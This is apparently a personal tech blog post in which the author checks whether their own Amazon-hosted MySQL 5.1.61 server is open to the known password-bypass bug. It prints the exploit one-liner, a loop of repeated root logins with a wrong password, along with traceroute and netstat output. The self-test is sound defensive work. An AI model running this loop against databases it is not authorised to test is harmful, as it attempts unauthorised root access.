Intro
As this story makes crystal clear, the test for the mysql password bug is ridiculously simple to run for yourself:
$ for i in `seq 1 1000`; do mysql -u root –password=bad -h 127.0.0.1 2>/dev/null; done
More on that
I am at version 5.1.61:
$ mysql –version
I fully expected to get a mysql> prompt from the above exploit code but I did not.
The Amazon cloud has some decent protections in place.
For instance I tried
$ mysql -u root –password=mysecretpassword -h 127.0.0.1 2>/dev/null
and of course I got in. But modified slightly, to
$ mysql -u root –password=mysecretpassword -h drjohnstechtalk.com 2>/dev/null
and it’s a no go. It just hangs. I can’t believe I never did this earlier, but I wanted to see the routing for my own elastic IP:
$ traceroute drjohnstechtalk.com
traceroute to drjohnstechtalk.com (50.17.188.196), 30 hops max, 60 byte packets 1 ip-10-10-216-2.ec2.internal (10.10.216.2) 0.343 ms 0.506 ms 0.504 ms 2 ip-10-1-54-93.ec2.internal (10.1.54.93) 0.571 ms ip-10-1-42-93.ec2.internal (10.1.42.93) 0.565 ms ip-10-1-52-93.ec2.internal (10.1.52.93) 0.366 ms 3 ip-10-1-39-14.ec2.internal (10.1.39.14) 0.457 ms ip-10-1-41-14.ec2.internal (10.1.41.14) 0.515 ms ip-10-1-37-14.ec2.internal (10.1.37.14) 0.605 ms 4 216.182.224.84 (216.182.224.84) 0.662 ms 216.182.224.86 (216.182.224.86) 0.606 ms 0.608 ms 5 216.182.232.53 (216.182.232.53) 0.837 ms 216.182.224.89 (216.182.224.89) 0.924 ms 216.182.232.53 (216.182.232.53) 1.030 ms 6 ip-10-1-41-13.ec2.internal (10.1.41.13) 0.869 ms ip-10-1-39-13.ec2.internal (10.1.39.13) 1.082 ms ip-10-1-43-13.ec2.internal (10.1.43.13) 1.154 ms 7 ip-10-1-36-94.ec2.internal (10.1.36.94) 1.481 ms ip-10-1-54-94.ec2.internal (10.1.54.94) 1.351 ms ip-10-1-42-94.ec2.internal (10.1.42.94) 1.173 ms 8 * * * 9 * * * 10 * * * ... |
So there’s quite a few hops before I hit my own IP! That’s plenty of hops in which to insert a firewall, which I suppose they do, to enforce my personal security policy.
My eth0 IP is 10.10.219.96. Using that:
$ mysql -u root –password=mysecretpassword -h 10.10.21.96
I get:
ERROR 1130 (HY000): Host 'ip-10-10-219-96.ec2.internal' is not allowed to connect to this MySQL server |
even though my my.cnf file does not have this apparent restriction and the mysql daemon is listening on all interfaces:
$ netstat -an|grep LISTEN
... tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN |
Conclusion
I don’t recall taking special steps to secure my msql installation though it’s not out of the question. So I conclude that inspite of the articles that cite my version as being vulnerable, it is not, at least under CentOS 6, and even if it were, it would be especially hard to exploit for an Amazon cloud server.